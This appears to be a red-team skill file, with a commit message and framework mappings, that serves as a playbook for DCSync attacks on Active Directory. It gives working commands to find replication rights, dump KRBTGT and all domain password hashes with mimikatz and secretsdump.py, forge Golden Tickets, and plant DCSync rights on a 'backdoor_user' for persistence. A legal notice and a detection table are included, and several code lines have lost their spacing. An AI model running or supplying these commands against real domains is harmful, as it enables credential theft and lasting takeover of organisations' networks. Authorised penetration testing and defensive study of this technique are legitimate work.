Mapped every skill to NIST CSF 2.0 subcategory IDs (GV/ID/PR/DE/RS/RC functions)
based on subdomain and content analysis. Restores 11 skills corrupted during
prior rebase, re-enriching with ATLAS, D3FEND, NIST AI RMF, and CSF 2.0 fields.
All 754 skills now carry structured mappings for all 5 security frameworks:
- MITRE ATT&CK (in tags)
- MITRE ATLAS v5.5 (atlas_techniques)
- MITRE D3FEND v1.3 (d3fend_techniques)
- NIST AI RMF 1.0 (nist_ai_rmf)
- NIST CSF 2.0 (nist_csf)
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
cybersecurity
red-teaming
red-team
active-directory
dcsync
persistence
credential-dumping
golden-ticket
mimikatz
1.0
mahipal
Apache-2.0
Application Protocol Command Analysis
Network Isolation
Network Traffic Analysis
Client-server Payload Profiling
Platform Monitoring
ID.RA-01
GV.OV-02
DE.AE-07
Conducting Domain Persistence with DCSync
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.
When to Use
When conducting security assessments that involve conducting domain persistence with dcsync
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities
Objectives
Identify accounts with DCSync (replication) rights in Active Directory
Perform DCSync using Mimikatz or Impacket's secretsdump.py
Extract the KRBTGT account hash for Golden Ticket creation
Dump all domain user password hashes for credential analysis
Forge Golden Tickets for persistent domain access
Grant DCSync rights to a controlled account for alternative persistence
Document the attack chain and persistence mechanisms
MITRE ATT&CK Mapping
T1003.006 - OS Credential Dumping: DCSync
T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
T1222.001 - File and Directory Permissions Modification: Windows
T1098 - Account Manipulation
T1078.002 - Valid Accounts: Domain Accounts
Workflow
Phase 1: Identify Accounts with DCSync Rights
Enumerate principals with replication rights:
# Using PowerViewGet-DomainObjectAcl-SearchBase"DC=domain,DC=local"-ResolveGUIDs|Where-Object{($_.ObjectAceType-match'Replicating')-and($_.ActiveDirectoryRights-match'ExtendedRight')}|Select-ObjectSecurityIdentifier,ObjectAceType# Using BloodHound Cypher queryMATCH(u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)RETURNu.name,d.name
Using Impacket's FindDelegation or custom LDAP query:
# Check with Impacket
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
Default accounts with DCSync rights:
Domain Admins
Enterprise Admins
Domain Controllers group
SYSTEM on Domain Controllers
Phase 2: DCSync Credential Extraction
Using Mimikatz (Windows):
# Dump specific account (KRBTGT for Golden Ticket)mimikatz.exe"lsadump::dcsync /domain:domain.local /user:krbtgt"# Dump Domain Adminmimikatz.exe"lsadump::dcsync /domain:domain.local /user:administrator"# Dump all domain accountsmimikatz.exe"lsadump::dcsync /domain:domain.local /all /csv"
Using Impacket secretsdump.py (Linux):
# Dump all credentials
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
# Dump specific user
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
# Dump only NTLM hashes (no Kerberos keys)
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
# Using Kerberos authenticationexportKRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
Phase 3: Golden Ticket Creation
Using Mimikatz with extracted KRBTGT hash:
# Create Golden Ticketmimikatz.exe"kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"# Create with specific group membershipsmimikatz.exe"kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
Using Impacket ticketer.py (Linux):
# Create Golden Ticket
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
# Use the ticketexportKRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
Phase 4: Persistence via DCSync Rights
Grant DCSync rights to a controlled account for persistence:
# Using PowerView - Add DS-Replication-Get-Changes-All rightsAdd-DomainObjectAcl-TargetIdentity"DC=domain,DC=local"\-PrincipalIdentitybackdoor_user-RightsDCSync# Verify rights were addedGet-DomainObjectAcl-SearchBase"DC=domain,DC=local"-ResolveGUIDs|Where-Object{$_.SecurityIdentifier-match"backdoor_user_SID"}
Using ntlmrelayx.py for automated DCSync rights escalation:
# Relay authentication to add DCSync rights
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
Tools and Resources
Tool
Purpose
Platform
Mimikatz
DCSync extraction, Golden Ticket creation
Windows
secretsdump.py
Remote DCSync (Impacket)
Linux (Python)
ticketer.py
Golden Ticket creation (Impacket)
Linux (Python)
PowerView
ACL enumeration and modification
Windows (PowerShell)
Rubeus
Kerberos ticket manipulation
Windows (.NET)
ntlmrelayx.py
DCSync rights escalation via relay
Linux (Python)
Critical Hashes to Extract
Account
Purpose
Persistence Value
krbtgt
Golden Ticket creation
Indefinite domain access
Administrator
Direct DA access
Immediate privileged access
Service accounts
Lateral movement
Service access across domain
Computer accounts
Silver Ticket creation
Service-level impersonation
Detection Signatures
Indicator
Detection Method
DrsGetNCChanges RPC calls from non-DC sources
Network monitoring for DRSUAPI traffic from unusual IPs
Event 4662 with Replicating Directory Changes GUIDs
Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs)
Event 4624 with Golden Ticket anomalies
Logon events with impossible SIDs or non-existent users
ACL modifications on domain root object
Event 5136 (directory service changes)
Replication traffic volume spike
Network baseline deviation monitoring
Validation Criteria
Accounts with DCSync rights enumerated
KRBTGT hash extracted via DCSync
All domain credentials dumped successfully
Golden Ticket forged and validated for DA access
DCSync rights persistence mechanism established (if in scope)
Access to Domain Controller validated with Golden Ticket
Evidence documented with hash values and timestamps